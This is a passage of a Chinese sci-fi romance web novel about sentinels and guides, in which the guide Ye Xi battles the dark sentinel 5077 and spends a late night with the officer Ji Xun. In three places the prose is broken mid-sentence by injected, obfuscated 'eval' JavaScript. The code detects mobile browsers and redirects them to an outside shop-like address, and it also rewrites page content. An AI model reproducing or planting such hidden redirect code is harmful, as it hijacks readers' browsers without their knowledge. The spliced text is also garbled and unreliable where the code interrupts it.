格兰亚博士早年对向哨理论的研究,都只是停留在感知和引导的阶段。联邦经典的向哨理论课程,也只有这两个阶段的内容。 可格兰亚博士在生前的最后一本笔记《精神权柄》里,提到了另外两个更高的层级—— 重构者和掌控者。 “重构者”对哨兵的精神域有极强的影响能力,不受精神域里的各种限制,可以对哨兵的精神域进行重构。 长出第三只手不算什么,让精神域里来个八级大地震也不成问题。 这种状态自由自在,基本就是精神域里的“神”。 然而没有人相信格兰亚博士。因为没人能做到。 大家都觉得她那时年纪大了,脑子犯糊涂,在自杀前最疯的那个阶段,都在胡言乱语。 至于她提到的向导的最后一个层级,掌控者,《精神权柄》公开出版的部分里只提出了概念,完全没有这部分的相关内容。 据说是因为笔记后半段东一句西一句,零零碎碎的,还夹杂着各种鬼画符,谁都看不明白,出版时就被直接删除了。 没人知道这个“掌控者”,到底是个什么东西。 有什么能比精神域里的“神”还要更高一个层级?神++吗? 窒息的感觉又来了。 “沥青”很粘稠,浓得像糖浆,和上回一样,纠缠着叶汐,不肯放她走。 它们好像在拖着她,诱惑她:留下啊,留下吧,就死在这里吧。 死你的头。 叶汐集中精神力,奋力挣扎。 她已经成功过好多回了,并没有像其他向导那样,轻易死在精神域里。 这也是格兰亚博士笔记最后简略提到过两句的一种非常疯狂的训练方法—— 濒死体验。 精神域中濒死的感觉,能极大地强化向导的精神力,让人在最后时刻,挣脱固有理念的束缚,冲破关隘,发现精神域的虚妄。 这方法对强化精神力确实非常有效,叶汐这段时间深有体会,可是也因为在精神域里各种疯狂作死,才一不小心感染了致命病毒。 以前没死,这次也不会。 一定不会。 叶汐集中精神力,给自己洗脑。 一种奇怪的感觉袭来。 隐隐约约的,像是除了这些浓稠的浆液,还有别的什么东西,正在跟她的肢体纠缠搏斗。 在扰人心神的窒息感中,叶汐努力分辨了一下,忽然明白是什么了。 是在精神域外。 精神域外,有人正在和她真实的身体较劲。 那人攥住她的胳膊,压住她的腰。 当然不可能是跟她隔空跳探戈的季浔,毫无疑问,是黑暗哨兵5077。 叶汐忽然对这名哨兵生出一点敬意。 他很对得起黑暗哨兵的名号,竟然在她已经牢牢地控制住他,侵入他的精神域的情况下,努力挣脱了她的掌控,又能动了。 他把她的手拉离了他的额头。 他的动作不像正常状态时那么强悍,受入侵的影响,速度要慢得多。 叶汐一边继续凝神脱离,一边试着调动精神域外自己的身体,跟他较劲。 她的动作比他自由,一个翻滚,把他压回地板上。 叶汐摸索着,想找到他的脑袋,重新把手掌按回他的额头上,恢复对他的控制。 可外面真实世界的感觉,就像隔着一层,又有5077的手在想方设法妨碍她,叶汐在混乱中努力了半天,怎么都摸不到他的额头。 5077行动受限,力气却仍然不小,猛地一个翻身,又把叶汐按回地上。 叶汐心中权衡了片刻,不再找他的额头,只集中精神,全力脱离。 她睁开眼睛。 眼前仍然黑乎乎的,不过不是那些粘稠的黑色沥青,而是乱糟糟的黑布。 5077山一样压在上面,从他身上垂下来的一条条破布遮蔽着她的视线,只能从缝隙中隐约看到他那张包得严严实实的脸。 她一脱离他的精神域,哨兵立刻恢复了自由,力气骤然变大,他一只手按住她的手腕,另一只手一把掐住叶汐的脖子。 可叶汐的精神触手快得像鬼一样,马上压上了他的眉心。 触手严重地扰乱哨兵的神智,5077的动作阻滞。 叶汐挣脱他的钳制,就地一个翻滚,爬起来头也不回地冲向门口。 朴医生很利索,见她出来了,立刻把门重新锁好。 季浔打量了一眼叶汐。 叶汐有点惨。 她右手从手腕到手背,好几道抓痕,血珠滴滴答答,脖子被大力掐过,留下明显的印子。 “没事。”叶汐揉了揉脖子,琢磨,“我得好好想一想,要怎么对付他。” 两次进入5077的精神域,都是没多久黑色的沥青就浇下来了,能操作的时间窗口太短,简直做不了什么。 叶汐问:“麻醉剂的效果有办法去掉吗?” 她都被掐成这样了,还在琢磨着要去掉麻醉剂,朴医生有点结巴:“这是,这是特制的强效麻醉剂,恐怕没办法。” 叶汐:“那麻醉剂要多久才能失效?” 朴医生估计:“大概要到明天中午。” 明天傍晚就要评估了。不过还是要先等麻醉剂的效用过去,而且还要让阿露弥再去找找,有没有5077的详细档案,这样连蒙带猜地开盲盒不是办法。 “那我明天再来。”叶汐嘱咐朴医生,“绝对不要再给他用任何麻醉剂了,会影响我跟他的沟通。” 麦苏过来了,递给叶汐一个塑料手提袋。 袋子上印着“冰酸矩阵”几个字,里面装着一杯饮料,还有一张广告单。 她点的柠檬水外卖到了。 叶汐插好吸管,一口气灌了大半杯,忽然想起来。 “这个5077,有多长时间没喝过水,吃过东西了?” 朴医生回答:“从前两天彻底失控开始,只注射过营养针剂,本来可以自动传送水和餐盘到隔离室,他拿来攻击人,所以暂时撤掉了。” “给他放杯水吧,”叶汐说,“要一大杯水,用个纸杯子什么的,他会喝的。” 他精神域里都干裂成那样了。 朴医生迟疑:“放了也没用吧?他还是失控状态,完全没有理性,只会打翻而已。” “那就让他打翻。” 叶汐瞥一眼紧闭的隔离门,音量放大了一点,语气轻快。 “打翻就没有水喝呗。” 季浔给叶汐安排的休息的地方,是微风堡的向导宿舍。 叶汐倒是没想到,自己这个连证都没有的“准向导”,有一天也会住进基地的向导宿舍里。 在联邦,向导和哨兵的待遇大不相同。 大多数哨兵出身平民家庭,因为携带哨兵基因,应征入伍,在哨兵基地受训,从事各种最危险的工作。 他们是军人,住的地方是标准军营,每天按时严格作息。 向导就不太一样了,数量少得多,大多数出身优渥,待遇也好得太多了。 微风堡也是一样,向导宿舍坐落在基地深处,是一幢漂亮的白色小楼,远离噪吵的哨兵训练中心,周围绿树成荫,安静而隐秘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667063|187946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>楼门口只有几个人进出,都穿着统一的白色向导制服,每个人都好奇地看一眼叶汐。 “诶,是盖亚星的。” “看她那头发。” 叶汐泛蓝的特殊发色就像张名片,人人都认得出来。 “还真的是。” “她们这种长相,这样的头发,真是天生……” 嘁嘁喳喳声骤然低了下去,不知道在小声讨论什么,然后是一阵压低的哄笑。 叶汐并没有看那边,反而晃了晃脑袋,让那头妖异地泛着蓝光的长卷发更蓬松一点。 季浔原本隔着一段距离,遥遥地走在前面,忽然停下脚步,转头瞥向那个方向。 低低的哄笑声戛然而止,那几个人火速溜了。 麦苏不理那边,指了指楼上,“楼上安静,给你在顶楼找了间宿舍。” 来到顶楼,打开门,叶汐有点讶异。 说是宿舍,其实是间独立套房,整洁清爽,难得的是一扇面积不小的落地窗,窗外绿树成荫。 折腾了大半天,已经是傍晚,基地上空的防护罩透出的夕阳影影绰绰的,多少有了点暮色苍茫的意思。 广播里遥遥地传来悠长的号声,基地的晚饭时间到了。 叶汐把手里的那杯柠檬水放下,走到窗前,探头往外张望。 季浔吩咐:“麦苏,把她的私人物品还给她。”又补充,“再给她拿一套向导制服过来。” 叶汐从窗前转过头:“住这儿一定要穿向导制服吗?” “那倒不是。”季浔回答,“你不冷么?” 哨兵的观察力确实敏锐,看出她这身短袖短裤,扛不住微风堡的温度。除了在精神域里涮火锅的时候暖和过一会儿,叶汐胳膊上的鸡皮疙瘩冻得就没下去过。 可是那身雪白的向导制服,只要穿上,无论碰到哪儿都是一道污痕。 叶汐坚决拒绝:“有别的衣服吗?耐脏一点的。” 季浔吩咐麦苏:“那就去拿一套哨兵的常规训练服吧。” 麦苏很快就回来了,交给叶汐一套哨兵训练服,还有治安局还回来的那只透明密封袋。 训练服的外套深灰色,飞行夹克款式,布料厚而结实,到处都是口袋,尺寸也不小,很合叶汐的心意。 她套上外套,又从袋子里取出手环戴好,随手把银色的小圆筒撂在床头柜上。 季浔的目光淡漠地扫过那只小圆筒。 “按基地规定,访客不要到处乱走,不要用手环随便拍照,也不能和外界联系,管理系统会自动监控你,也会识别屏蔽信号。你有事可以找麦苏。” 他站得远远地指挥麦苏:“麦苏,你加一下她。” “任何时候有需要,就给麦苏发消息。他会帮你处理伤口,再把晚饭送过来。” 季浔交代完就先走了。 麦苏熟门熟路地从柜子里取出一个小型治疗仪,扣在叶汐手上。 治疗仪开始工作,发出嗡嗡的轻响,暖烘烘地烤着叶汐受伤的手背。 麦苏在房间里转了一圈,顺手扯平床单,摆正枕头,终于忍不住,问叶汐:“那个5077,他还有救吗?” 他们也记不住黑暗哨兵那一长串编号,叫他5077。 叶汐实话实说:“他疯成那样,我也不知道。” 麦苏叹了口气。大概是同为哨兵,难免同病相怜。 叶汐问他:“你知不知道,5077的精神体是什么动物?” 精神体和哨兵的底层精神状态密切相关,知道5077的精神体是什么,说不定能有点用,总比现在一头雾水的好。 “好像没听说有谁见过5077的精神体,”麦苏琢磨,“他是黑暗哨兵,他们黑暗哨兵总有些地方和别人不太一样,他会不会根本就没有精神体?” 也有可能。 叶汐好奇:“那你的精神体是什么?” 话题突然跑到麦苏身上,麦苏的脸腾地浮起一层红晕。 “滴——” 治疗仪刚好叫了一声,治疗结束了,叶汐手背上的伤口痊愈,皮肤恢复平滑,泛着新鲜的粉色。 麦苏不吭声,手忙脚乱地帮叶汐取掉治疗仪,转身就要跑。 也不知道他的精神体到底是什么不能说的东西,至于害羞成这样。 叶汐:“你那么着急干什么?” 麦苏:“啊,那个,我想起来,食堂这两天有烤肉,去晚了就没了,我得赶紧去帮你抢。对了,你喜欢吃烤肉吗?” 问得有点晚,叶汐忍笑,“喜欢。” “我就知道,哪有人不喜欢烤肉。” 麦苏风风火火地拉开门,准备开溜。 “麦苏!” 叶汐叫住他。 “如果有这样一颗行星,天上挂着的“太阳”是暗橙红色的,尺寸大概是K7这里的一半,阳光也偏红,树叶都是纯黑色,你觉得会是哪颗行星?” 她没再追问精神体的事,麦苏镇定了不少,手握着门把手,偏头认真想了想。 “是像红矮星那种?树叶为了光合作用的光足够,几乎是黑的对吧?” 叶汐:“没错。” 11.第 11 章 麦苏:“那还真是挺多的,光是附近的第七星带,我就能想出绯罗星系的两颗行星,瑟瑞三号的那颗行星,还有索恩区的那几个,这还没算其他星带,光靠你给的这个条件,好像定位不出来。” 星际联邦的宜居行星不少,其中很多的恒星就是红矮星,简直无从找起。 麦苏走了,叶汐重新检查了一遍房间,顺手拿起杯子,把剩下的半杯柠檬水一口气喝光。 她翻转杯子,揭开杯底的夹层。 里面果然藏着一片银色的小东西,是个薄薄的存储器。 她取出存储器,贴在手环上,把内容复制好,才把它丢进马桶冲掉。 她在脑内呼唤阿露弥:“现在能听到吗?” “能。”阿露弥回答,“刚才你进隔离中心以后就没信号了。存储器收到了吧。微风堡居然向外面的店铺下了外卖订单,柠檬水,半糖加薄荷叶,一听就知道是你点的,不过你为什么忽然要去冰?” 叶汐感慨:“你不知道,他们微风堡的空调开得有多冷。” 现在穿着训练服外套,倒是一点都不冷了,甚至还有点热。 叶汐把在隔离室和5077精神域里的所见所闻,跟阿露弥详细描述了一遍。 阿露弥琢磨:“又是婴儿,又是妈妈,这听起来很像是精神域里常见的童年映像。” “是,可他的疯得像恐怖片似的,” 叶汐说:“阿弥,我非常非常需要拿到他的详细档案,尤其是幼年经历的部分。” 知道5077的真实经历,对症下药,才能药到病除。 “我在微风堡找过他的档案,没找到,”阿露弥说,“让我再想想其他办法。” 麦苏很快就端着一个餐盘回来了。 “快!还是热的!我挤在最前面,撒了满满的三大勺那个厨子特制的辣椒粉,后面的人要气死喽!” 他强烈推荐的烤肉套餐,确实非同凡响。 一打开盖子,扑鼻就是浓郁的油脂香,还有真正的炭火烤过的烟火气,一块块烤肉火候很到位,外皮焦得正正好,里面的肉肥瘦适宜,香腻滋润。 还有上面洒着的调料,也不知道是怎么配的,麻辣鲜香都很浓郁,又不过分,很值得让麦苏一口气抢了三大勺。 一直到叶汐把烤肉全部吃光,阿露弥那边都没能拿到有用的资料。 “哪儿都没有,估计在联邦防卫部的资料库里,那地方我实在进不去。”阿露弥说。 叶汐:“先吃晚饭去吧,不急。” “吃过了,”阿露弥不服气,“你等我,我一定要找到。” 窗外的光线渐渐暗下去。 K7星际港为方便星际贸易,采用母星标准时间刻度,只是每天比母星时间略短,只有二十一小时多一点。 微风堡的晚间训练结束,训练大厅那边传来的呼喝声没了,广播里响起号声,哨兵宿舍那边,所有灯光准点齐齐熄灭。 入夜了。 基地的军官宿舍,季浔也准时熄了灯,躺在床上。 多年严格的作息习惯,让他向来熄灯就睡,听到起床号就醒,可今天却有点不一样。 他没有闭上眼睛,盯着天花板出神。 路灯的光穿过窗口行道树的枝条,映在天花板上,一道道黑色的树影婆娑摇曳。 盯久了,就觉得像两个人影,正在暗室的地板上翻滚。 今天在隔离室,叶汐还在5077的精神域里时,5077就能动了。 两个人,一个因为还在精神域里,另一个因为受控制,都像是半昏迷状态,一举一动都很慢。 他们就在隔离室幽暗的灯光中,用慢了不止半拍的动作,在地板上反复纠缠。 那时候叶汐还没有脱离精神域,季浔知道,不到万不得已,不能擅自干扰她的状态,只远远地看着。 他心中很清楚,叶汐和5077,他们两个当时正在争夺控制权,是在生死搏命,稍微一个闪失,叶汐的小命就没了。 可是。 天花板上,树枝的影子纠缠在一起,又分开。 再纠缠,再分开。 叶片与叶片交叠,枝条与枝条勾连,盘绕牵扯,像是生死相搏,却莫名地透出种缠绵缱绻。 季浔看见,幽暗的房间里,满是血污的地板上,受控中的哨兵又动了,勉强压住她的腿,把她按回地上,扣住她的手腕。 她人还在精神域里,却似乎立刻察觉出不对,挣脱哨兵的控制,翻身而起。 她骑坐在哨兵身上,迷迷糊糊的,压制住他的腰。 眼睛还是闭着的,她低着头,那头长而卷曲的头发向下垂落,半遮着她自己,发梢拂过哨兵的身体,泛着幽幽的蓝色微光。 她大概是想重新找到哨兵的额头,恢复对他的控制,一只手在到处胡乱摸索,另一只手防备地用力按住哨兵的胸膛。 指尖因为用力,陷进哨兵胸前蓬勃鼓胀的肌肉里,按出一个个小坑。 每个指尖的指甲上,都有一弯颜色较浅的弯弯的月牙。 隔离室里光线再暗,季浔也能看清一切。 种种画面细节充盈,今晚在季浔脑中萦绕,完全不受理性控制。 季浔闭上眼睛。 闭上眼睛,耳边却好像还能听到两个人的呼吸声。 安静的隔离室里,他们的呼吸声彼此交缠,还有衣料相互摩擦的悉悉索索的声响,甚至她的头发滑落时细微的沙沙声。 一切都无比清晰。 季浔收敛心神,淡漠地重新审视了一遍自己脑中的杂念。 他抽离自己,就像一个彻底的局外人,站在几步之外,检视另一个毫不相关的人的想法。 叶汐今天突然强势侵入他的精神域,带着他一路跑偏,仿佛驾驶着一驾失控的马车,吆喝着,狂奔着,在他的精神域中开辟出了一条新路。 这条新路上车轮碾过,草汁飞溅,隐在草根下那些湿漉漉的泥泞翻涌上来,留下两道深陷的车辙。 这车辙太深,到现在还没有消除。 她和5077用慢半拍的节奏反复在地上翻滚,纠缠在一起那些画面,那些声音,此时正准准地轧在那条车辙上,带着他不知道走到哪里去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16672001|187946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季浔清楚该如何摒除杂念。 人非木石,杂念总会来来去去,对付的办法很简单,季浔在多年的训练中已经做过无数遍了,就是远远地观察着它。 既不跟随它,也不抗拒它,任由它自己起起落落。 不对它做正向和负向的赋能,它自然会自己消失。 季浔冷静地围观了一会儿自己的念头。 结果越围观,脑中的画面就越鲜活,最后完全聚焦在叶汐一个人身上。 所有细节无限放大,再放大。 达到以一名哨兵优秀的视力所能看清的极限,细致入微。 季浔猛地坐起来。 他缓了缓神,伸出手,手指轻轻碰了一下床头的触摸屏,开了灯。 房间里灯光大亮,照耀一切,天花板上纠缠的树影立刻消失了。 微风堡基地,遥遥的另一边,向导宿舍里。 叶汐也还睁着眼睛,没有睡着。 夜深人静,体内要命的ARV7病毒又开始开派对了,肋下一阵一阵地生疼。 这位置是肝脏吗?叶汐心里琢磨,也不太搞得清楚。 反正病毒在体内欢蹦乱跳地胡折腾,又没有医疗手段能检测到它,也不知道折腾到哪了。 疼痛像刀片,一下接一下,锐利地刮着,叶汐一阵阵地冒冷汗。 最烦人的不是疼,是没法睡觉。 偏偏它又是个来自精神域的幽灵,影响身体的方式很妖异,吃止痛药根本没用。 叶汐用拳头抵住肋下的位置,让疼痛稍微缓解一点,靠着床头坐起来,面向窗外,望向外面的天空。 基地上方,隔着一层防护罩,看起来也是夜空的模样,可那不是真正的夜空。 真正的夜空深邃,安宁,在那层防护罩之外。 一团白色雾气在叶汐的膝头缓缓浮现。 它渐渐凝固成型—— 这是她的精神体,一只乌鸦。 乌鸦的头先冒出来了,黑豆似的眼睛飞快地眨了两下,在暗夜里也很明亮,然后是脖颈,从头顶到脖颈,都覆盖着一层密密实实的黑色小绒毛。 接着是翅膀和尾巴,黑色的羽毛和叶汐的头发一样,泛着一层幽微的蓝色光晕。 它张开翅膀。 双翅舒展如扇,一根根飞羽比寻常乌鸦大得多,也长得多,闪着油亮的光。 乌鸦拍了一下翅膀,腾空而起。 精神体不受实体阻碍,它冲出窗口,穿过那层厚重牢固的防护罩,飞向真正的夜空。 真正的夜空中繁星点点,与下面一号星际港口的灯火交相辉映,乌鸦在城市上空盘旋了一圈,奋力振动翅膀,继续向上。 再往上,是高悬在夜空中的浮空岛。 浮空岛此时仍旧灯火通明,整座岛亮到无比耀眼,像个与周围的一切格格不入,高高在上的奇异世界。 乌鸦速度极快,调整姿态,箭一样射向浮空岛。 就在靠近浮空岛,几乎能看清这座不夜城里往来的悬浮车流时,紫色的光芒一闪。 乌鸦像被闪电击中似的,消失了。 12.第 12 章 浮空岛周围笼罩着一层隔离层,与用来屏蔽向导精神力的紫光一模一样。 叶汐收回自己的精神体。 精神体的眼睛就是叶汐的眼睛,只能看一眼那座浮空岛,根本进不去。 小乌鸦刚才被电了一下,像是受了天大的委屈,仰起头叫了两声,蹦跶到叶汐旁边,用脑袋蹭了蹭她的腿。 此时,距离微风堡二十几公里的地方,老码头。 码头里,停泊着大大小小的废弃货船。这些船早就不能开了,破旧的甲板上横七竖八地拉着电缆,把一艘艘船连在一起,甲板上挂着不知从哪捡来的霓虹灯牌,闪烁着半明半灭的光。 船体早已被腐蚀得锈迹斑斑,铁皮开裂,却没有真的被人抛弃。 这里住着不少在岸上买不起房的人。 已经是凌晨,热烘烘的暑气却没有消退的意思,不少船舱都大开着门,想借一点海湾那边吹过来的凉风。 多数船舱里的人都熄灯睡觉了,只有一艘小船上,舷窗透出一线光。 舷窗里,舱房像个小仓库,堆满了各种乱糟糟的电子元件,一张桌子勉强挤在中间,桌上三四面虚拟屏幕和好几个笨重的老式实体显示屏一起亮着。 阿露弥坐在桌前。 她穿着件宽松的棉布背心,一边耳朵上挂着黑色的单边耳麦,因为嫌热,头发剪得极短,紧贴着头皮。 满头羊毛一样细密的小卷,比叶汐的头发还要更卷曲一些,小卷卷上同样闪着蓝色的微光。 她手撑着脑袋,半趴在桌子上,一只手勉强拨动着屏幕,整个人都汗津津,迷迷糊糊的。 桌上的手环屏幕忽然亮了。 阿露弥瞥了一眼,脑子清醒多了。 她摘掉耳麦,把面前的几个屏幕一一关掉,又把桌上接收叶汐信号用的装置理了理,统统藏到旁边的架子上,用布仔细遮好,这才慢悠悠地点下屏幕上的“接通”。 屏幕上出现了一张脸。 这张任谁都觉得出众到让人心跳的脸,在阿露弥眼中却像路上临检抓人的治安官似的。 阿露弥若无其事,也像对付治安官一样对付他:“哥?怎么这么晚打过来?有事啊?” “我刚做完一台手术,发现你不在家。” “哦,”阿露弥顺溜地回避重点,转移话题,“什么手术啊?弄到这么晚?” “是上次塔西斯那边走私过来的一批芯片,不太地道,有人植入脑内后排异反应严重,忙到现在。” 对面的人已经看见她的背景了,并没有被她带偏:“你在码头那边?” 他话锋一转:“小汐呢?” 阿露弥随手一指:“隔壁睡觉呢。你要看吗?不太好吧。” 对面的人并不信:“少来这套。你们两个这几天都鬼鬼祟祟的。她的身体目前只适宜静养,尽量多拖一段时间,好让我找到解决的办法。再过度劳累的话,就撑不了几天了。你不会又帮她进谁的精神域了吧?你是想让她死得更快一点?” 微风堡基地里。 疼痛比咖啡还提神,没法睡觉,叶汐索性理了理思路。 阿露弥拿不到5077的资料,在这种情况下,进他的精神域,就像瞎子摸象,全凭撞大运,偏偏能试的时间窗口又那么短。 也不是完全没有线索。 目前手中有个确定无疑的线索,就是叶汐见过的那间婴儿房。 叶汐思忖了一会儿,叫阿露弥:“阿弥……” 阿露弥那边没声音。她今天忙了一整天,大概撑不住,已经睡着了。 叶汐不再叫她,自己打开手环屏幕。 手环报错,基地的管理系统果然屏蔽了上网搜索的功能。 叶汐直接在联系人里找到麦苏。 【季浔说任何时候有事都可以找你,现在行吗?】 半夜三更,麦苏回复得并不慢:【当然可以。你需要什么?】 他们哨兵耳聪目明,一叫就醒,大概睡眠质量不高。 叶汐:【你们基地,有什么地方可以上网吗?我想查点东西。】 麦苏:【当然没问题,等我。】 过了不到十分钟,就有人轻轻地敲了两下门。 笃。笃。 力道十分克制。 叶汐心想:麦苏动作还真快,一叫就到。 她跳下床去给他开门。 门外站着一名高大的军官,扣子一丝不苟,帽檐低压,一双眼睛隐在阴影里,却和衣领上的水晶执行官徽章一起,映出一点对面窗外的光。 竟然是季浔。 叶汐怔了怔。 她是真的没想大半夜的,烦劳执行官大人亲自跑一趟。 季浔用指尖拎着一个巴掌大的银色金属薄片——一台光脑。 他把光脑递给叶汐,“麦苏告诉我,你需要上网,我的光脑有基地的最高权限,能访问到一些其他人的光脑访问不了的地方,不会被系统屏蔽。” 叶汐接过光脑,“这么兴师动众的,你怎么知道我上网是要干正经事?万一我是半夜睡不着,想躺在床上追个剧什么的呢?” 季浔安稳地反问:“你是吗?” 叶汐承认:“不是。” 她确实有重要的事要做。 房间里还没开灯,这么黑着不太合适,叶汐按亮大灯,坐回床上,打开光脑。 季浔也走过来,帮她用虹膜解锁了屏幕,又点开腕上手环的虚拟屏,开了个倒计时。 他说:“我最多只能给你四个小时的使用时间。” 他家光脑竟然跟购物网站的限时折扣一样,还是掐着点供应的。 叶汐好奇:“四个小时,这么精确的吗?” 季浔:“对。” 叶汐:“多一分钟都不行吗?” “倒计时正在走着,”季浔拉过一把扶手椅,坐下,平静地说,“你有跟我讨论的功夫,还不如现在就开始用,已经能把你想要的那一分钟省出来了。” 行吧。他们军人大概就是这么较真。 季浔没有走的意思,看来他是打算守着他最高权限的光脑,一直等她用完。 夜深人静,他就这么理所当然地待在一个盖亚星的女孩子的房间里,也没打算避嫌。 不过他没有摘掉军帽,手上也仍然戴着黑皮手套。他放扶手椅的位置,距离床边两三步远,仍旧精准地保持着和她的距离,好像两人共处一室,唯恐被占便宜的人是他似的。 一看到他这幅防备的样子,叶汐就忍不住手痒。 或者说,精神触手痒。 叶汐的眼睛端正地定在屏幕上,目不斜视,无形的精神触手却悄悄地斜伸出去,游过季执行官那段标准的黄金社交距离。 到位了,它戳了戳。 屏障还在。 一身扣子系到脖子的严整的军服,一层竖立得密密实实的精神屏障,他这是武装了一里一外两身铠甲,大半夜的到她的房间单刀赴会来了。 季浔忽然出声:“你不是要查东西么?” 叶汐动作很轻,可这人的感觉太敏锐,还是察觉到她又在用她的精神触手悄悄乱捅了。 “嗯,没错。”叶汐收回精神触手。 季浔的光脑确实可以上网,速度飞快,配备的人工智能搜索助手也很好用。 叶汐在精神域里看到的婴儿房只在她脑子里,她用文字详细地描述了一遍,各种细节都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16675410|187946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没放过,让人工智能助手生成图片。 图像化那间婴儿房,然后去搜索,说不定能找到什么有用的线索。 生成的图片大体模样还可以,只是家具的款式不够精确,转椅椅背的样子和双人床床头的材质弧度都不太对,叶汐耐心地一点一点微调。 注意力转移,内脏的疼痛没那么明显了。 窗子大开着,微风堡的空气调节系统旋起气流,吹来夜风阵阵,房间里很安静,同样宁静的是情绪的波动。 虽然多了个季浔坐在那儿,却像是完全没有这个人似的。 叶汐这些年,早就习惯了各种场所里充斥着的人们那些乱糟糟的情绪。 愉快、兴奋、急躁、厌恶、仇恨、鄙夷、贪婪、羞怯,等等等等。 每天都像泡在大型火锅店里。 难得现在这样,空气里没什么情绪波动,就像她在一个人独处。 今天这一整天,过得相当刺激,先是偷了一幅画,在精神域里摔了个稀巴烂,从微风堡胜利大逃亡,进了次治安局,又跟黑暗哨兵搏斗了一场,叶汐的心脏一直欢蹦乱跳的。 可是此时此刻,阵阵清凉的人工晚风中,旁边坐着这样一个静如止水的人,叶汐的心也跟着不知不觉地沉静下来。 叶汐偏了下头,余光瞥向季浔。 他靠着扶手椅的椅背,戴着手套的双手十指交叉,放在腿上,眼睫低垂。 他面前,手环的虚拟屏幕悬浮着,上面的倒计时一跳一跳地变换着数字,他没有看,仿佛在凝视着鼻尖前的一点,不知在想什么,纹丝不动。 他闲着没事,也不刷刷手环什么的。 叶汐忍不住问:“你在干嘛?” 季浔视线不动,“训练专注力。” 叶汐:“……” 大半夜的,这位是特地到她的房间用功来了? 叶汐一想就明白了。 这位联邦第一哨兵,今天在她这里栽了个大跟头,栽的还是那么不可描述的方向,估计是有点睡不着。 所以才自己找了个借口,到她房间来了。 对着她这样一个随时会用精神触手乱捅他的人用功,特别锻炼人是吗? 这大概和在人来人往的喧嚣闹市里练习专心读书,坐在刮着狂风的悬崖边上参禅,对着红烧肘子减肥节食是一个道理。 叶汐下结论:这位联邦第一哨兵正在借机磨炼他钢铁一般的意志。 可是真想磨炼意志的话,为什么不把屏障撤了呢? 叶汐又调整了一会儿转椅坐垫的细节。 做这种枯燥的工作,脑子实在闲得无聊,叶汐打算给季浔这潭静水扔个小石子,打个水漂,制造点小波澜。 “季浔?” 只叫了他的名字,就停住了。 季浔当然听得见,却过了几秒,才回答:“嗯?” 叶汐这才继续:“像你这种哨兵,是怎么练成这样的?一点情绪波动都没有。” 季浔全身上下仍旧纹丝不动,只启唇淡淡答:“我们有一整套专业的训练体系。” 专业的训练体系。说了和没说一样。 叶汐:“噢。” 图片上,转椅的坐垫看起来正确多了,叶汐开始调整椅背的款式,可是人工智能助手抽风,调了半天都调不对,叶汐把丢小石子打水漂的事忘在脑后,注意力重新回到屏幕上。 过了一会儿,季浔却忽然自己出声了。 “不过,我有一个自己想出来的小窍门,我觉得对控制情绪波动很有用。” 叶汐转过头,看着他。 大概是夜太深,太静,又只有两个人,这个竖着屏障练习专心的人,居然肯聊天了。 13.第 13 章 叶汐问他:“是什么窍门?” “把这个世界当成一个虚拟游戏。” 季浔的视线仍然定在面前虚空中的什么地方。 “如果它只是一个虚幻的游戏,那一切生老病死、爱恨聚散、财富与权势、羞辱与荣耀,全都无关紧要,只不过是过眼云烟,当然也就不会引起任何情绪波动。” 叶汐没料到季浔会说出这样一番话来,手指在屏幕上顿住。 叶汐:“你这听着有点像修行的僧侣……” 季浔:“嗯。有点像。” 半晌,叶汐才重新点点屏幕,“可惜这办法估计对我没用。游戏又怎样?虚幻又怎样?我打个游戏都能打急眼,在线跟人激情对骂,骂急了恨不得顺着网络爬过去,跟对面真人PK。” 季浔的语调仍旧平和:“没关系,你是向导,你又不需要学这个。” 他忘了在“向导”前面加个“准”字。 叶汐帮他补充:“准。” 季浔淡淡道:“‘向导’是一种能力,不是一个头衔。” 他声音很轻,却一句话就抹杀了联邦向导协会、各大向导学院和联邦向导资格考试存在的意义。 叶汐划了划屏幕,随口说:“要是向导协会的那些人听见你这句话,肯定要气吐血。” 季浔的目光只定在虚空中的那点上:“随便他们。” 叶汐来之前研究过他的资料,知道他是这种性格。 以他这种个性,还能年纪轻轻就能坐到现在这个位置,在联邦这种地方,并不是什么奇迹,而是有原因的。 都传说这位季执行官,好像有某种神秘的身世,似乎和母星的联邦议长有某种亲缘关系。 叶汐很八卦,专门搜过议长的照片,那老头即使不年轻了,也非常帅,风度翩翩,和季浔两个人从外貌到身材,确实都很像,只不过议长不是哨兵,季浔有哨兵的基因优势,比起来更高大强壮了不少。 长得这么像,这种关系连藏都没法藏。 不看僧面看佛面,无论季浔什么样,总得给和他共享一张脸的那位一点面子。 叶汐有点想不通,像季浔这种出身的人,为什么非要来吃当哨兵的苦? 